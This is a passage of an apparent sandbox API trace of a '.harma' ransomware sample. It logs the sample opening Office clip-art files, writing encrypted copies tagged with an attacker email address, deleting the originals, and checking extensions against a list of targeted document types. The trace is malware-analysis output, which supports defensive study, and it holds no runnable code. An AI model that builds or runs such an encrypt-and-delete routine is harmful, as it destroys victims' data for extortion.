lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x2350, lpOverlapped=0x0) returned 1 [0066.060] ReadFile (in: hFile=0x1e4, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0066.061] WriteFile (in: hFile=0x218, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0066.061] SetEndOfFile (hFile=0x218) returned 1 [0066.061] CloseHandle (hObject=0x218) returned 1 [0066.061] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.061] SetEndOfFile (hFile=0x1e4) returned 1 [0066.063] CloseHandle (hObject=0x1e4) returned 1 [0066.063] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0066.063] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif")) returned 1 [0066.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0066.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0066.063] lstrlenW (lpString=".doc") returned 4 [0066.063] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0066.063] lstrlenW (lpString=".docx") returned 5 [0066.063] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0066.063] lstrlenW (lpString=".pdf") returned 4 [0066.063] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0066.063] lstrlenW (lpString=".xls") returned 4 [0066.064] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0066.064] lstrlenW (lpString=".xlsx") returned 5 [0066.064] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0066.064] lstrlenW (lpString=".ppt") returned 4 [0066.064] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0066.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0066.064] lstrlenW (lpString=".zip") returned 4 [0066.064] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0066.064] lstrlenW (lpString=".rar") returned 4 [0066.064] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0066.064] lstrlenW (lpString=".bz2") returned 4 [0066.064] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0066.064] lstrlenW (lpString=".7z") returned 3 [0066.064] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0066.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0066.064] lstrlenW (lpString=".dbf") returned 4 [0066.064] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0066.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0066.064] lstrlenW (lpString=".1cd") returned 4 [0066.064] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0066.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0066.064] lstrlenW (lpString=".jpg") returned 4 [0066.064] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0066.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0066.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0066.064] lstrlenW (lpString=".doc") returned 4 [0066.064] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0066.064] lstrlenW (lpString=".docx") returned 5 [0066.064] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0066.064] lstrlenW (lpString=".pdf") returned 4 [0066.065] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0066.065] lstrlenW (lpString=".xls") returned 4 [0066.065] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0066.065] lstrlenW (lpString=".xlsx") returned 5 [0066.065] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0066.065] lstrlenW (lpString=".ppt") returned 4 [0066.065] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0066.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0066.065] lstrlenW (lpString=".zip") returned 4 [0066.065] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0066.065] lstrlenW (lpString=".rar") returned 4 [0066.065] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0066.065] lstrlenW (lpString=".bz2") returned 4 [0066.065] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0066.065] lstrlenW (lpString=".7z") returned 3 [0066.065] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0066.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0066.065] lstrlenW (lpString=".dbf") returned 4 [0066.065] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0066.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0066.065] lstrlenW (lpString=".1cd") returned 4 [0066.065] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0066.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0066.065] lstrlenW (lpString=".jpg") returned 4 [0066.065] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0066.065] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0066.066] lstrlenW (lpString="AG00011_.GIF") returned 12 [0066.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0066.066] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=7216) returned 1 [0066.066] CloseHandle (hObject=0x1e4) returned 1 [0066.066] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif")) returned 0x20 [0066.066] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0066.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0066.066] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.066] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0066.067] GetLastError () returned 0x0 [0066.067] ReadFile (in: hFile=0x1e4, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x1c30, lpOverlapped=0x0) returned 1 [0066.075] WriteFile (in: hFile=0x218, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0x1c40, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x1c40, lpOverlapped=0x0) returned 1 [0066.076] ReadFile (in: hFile=0x1e4, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0066.076] WriteFile (in: hFile=0x218, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0066.077] SetEndOfFile (hFile=0x218) returned 1 [0066.077] CloseHandle (hObject=0x218) returned 1 [0066.077] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.077] SetEndOfFile (hFile=0x1e4) returned 1 [0066.078] CloseHandle (hObject=0x1e4) returned 1 [0066.078] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0066.078] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif")) returned 1 [0066.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0066.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0066.078] lstrlenW (lpString=".doc") returned 4 [0066.078] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0066.078] lstrlenW (lpString=".docx") returned 5 [0066.078] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0066.078] lstrlenW (lpString=".pdf") returned 4 [0066.078] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0066.079] lstrlenW (lpString=".xls") returned 4 [0066.079] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0066.079] lstrlenW (lpString=".xlsx") returned 5 [0066.079] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0066.079] lstrlenW (lpString=".ppt") returned 4 [0066.079] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0066.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0066.081] lstrlenW (lpString=".zip") returned 4 [0066.081] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0066.081] lstrlenW (lpString=".rar") returned 4 [0066.081] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0066.081] lstrlenW (lpString=".bz2") returned 4 [0066.081] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0066.081] lstrlenW (lpString=".7z") returned 3 [0066.081] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0066.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0066.081] lstrlenW (lpString=".dbf") returned 4 [0066.081] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0066.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0066.081] lstrlenW (lpString=".1cd") returned 4 [0066.081] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0066.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0066.081] lstrlenW (lpString=".jpg") returned 4 [0066.081] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0066.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0066.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0066.081] lstrlenW (lpString=".doc") returned 4 [0066.081] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0066.081] lstrlenW (lpString=".docx") returned 5 [0066.081] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0066.081] lstrlenW (lpString=".pdf") returned 4 [0066.081] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0066.081] lstrlenW (lpString=".xls") returned 4 [0066.081] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0066.081] lstrlenW (lpString=".xlsx") returned 5 [0066.081] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0066.081] lstrlenW (lpString=".ppt") returned 4 [0066.082] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0066.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0066.082] lstrlenW (lpString=".zip") returned 4 [0066.082] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0066.082] lstrlenW (lpString=".rar") returned 4 [0066.082] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0066.082] lstrlenW (lpString=".bz2") returned 4 [0066.082] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0066.082] lstrlenW (lpString=".7z") returned 3 [0066.082] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0066.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0066.082] lstrlenW (lpString=".dbf") returned 4 [0066.082] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0066.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0066.082] lstrlenW (lpString=".1cd") returned 4 [0066.082] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0066.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0066.082] lstrlenW (lpString=".jpg") returned 4 [0066.082] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0066.082] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0066.082] lstrlenW (lpString="AG00037_.GIF") returned 12 [0066.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0066.083] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=6684) returned 1 [0066.083] CloseHandle (hObject=0x1e4) returned 1 [0066.083] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif")) returned 0x20 [0066.083] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0066.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0066.083] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.083] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0066.084] GetLastError () returned 0x0 [0066.084] ReadFile (in: hFile=0x1e4, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x1a1c, lpOverlapped=0x0) returned 1 [0066.086] WriteFile (in: hFile=0x218, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0x1a20, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x1a20, lpOverlapped=0x0) returned 1 [0066.087] ReadFile (in: hFile=0x1e4, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0066.087] WriteFile (in: hFile=0x218, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0066.087] SetEndOfFile (hFile=0x218) returned 1 [0066.087] CloseHandle (hObject=0x218) returned 1 [0066.088] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.088] SetEndOfFile (hFile=0x1e4) returned 1 [0066.088] CloseHandle (hObject=0x1e4) returned 1 [0066.091] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0066.091] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif")) returned 1 [0066.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0066.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0066.092] lstrlenW (lpString=".doc") returned 4 [0066.092] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0066.092] lstrlenW (lpString=".docx") returned 5 [0066.092] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0066.092] lstrlenW (lpString=".pdf") returned 4 [0066.092] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0066.092] lstrlenW (lpString=".xls") returned 4 [0066.092] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0066.092] lstrlenW (lpString=".xlsx") returned 5 [0066.092] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0066.092] lstrlenW (lpString=".ppt") returned 4 [0066.092] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0066.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0066.092] lstrlenW (lpString=".zip") returned 4 [0066.092] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0066.092] lstrlenW (lpString=".rar") returned 4 [0066.092] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0066.092] lstrlenW (lpString=".bz2") returned 4 [0066.092] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0066.092] lstrlenW (lpString=".7z") returned 3 [0066.093] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0066.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0066.093] lstrlenW (lpString=".dbf") returned 4 [0066.093] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0066.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0066.093] lstrlenW (lpString=".1cd") returned 4 [0066.093] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0066.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0066.093] lstrlenW (lpString=".jpg") returned 4 [0066.093] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0066.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0066.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0066.093] lstrlenW (lpString=".doc") returned 4 [0066.093] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0066.093] lstrlenW (lpString=".docx") returned 5 [0066.093] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0066.093] lstrlenW (lpString=".pdf") returned 4 [0066.093] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0066.093] lstrlenW (lpString=".xls") returned 4 [0066.093] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0066.094] lstrlenW (lpString=".xlsx") returned 5 [0066.094] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0066.094] lstrlenW (lpString=".ppt") returned 4 [0066.094] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0066.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0066.094] lstrlenW (lpString=".zip") returned 4 [0066.094] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0066.094] lstrlenW (lpString=".rar") returned 4 [0066.094] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0066.094] lstrlenW (lpString=".bz2") returned 4 [0066.094] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0066.094] lstrlenW (lpString=".7z") returned 3 [0066.094] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0066.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0066.094] lstrlenW (lpString=".dbf") returned 4 [0066.094] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0066.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0066.094] lstrlenW (lpString=".1cd") returned 4 [0066.094] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0066.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0066.094] lstrlenW (lpString=".jpg") returned 4 [0066.094] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0066.094] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0066.094] lstrlenW (lpString="AG00038_.GIF") returned 12 [0066.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0066.095] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=3251) returned 1 [0066.095] CloseHandle (hObject=0x1e4) returned 1 [0066.095] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif")) returned 0x20 [0066.095] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0066.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0066.096] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.096] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0066.096] GetLastError () returned 0x0 [0066.096] ReadFile (in: hFile=0x1e4, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0xcb3, lpOverlapped=0x0) returned 1 [0066.097] WriteFile (in: hFile=0x218, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xcc0, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xcc0, lpOverlapped=0x0) returned 1 [0066.098] ReadFile (in: hFile=0x1e4, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0066.098] WriteFile (in: hFile=0x218, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0066.098] SetEndOfFile (hFile=0x218) returned 1 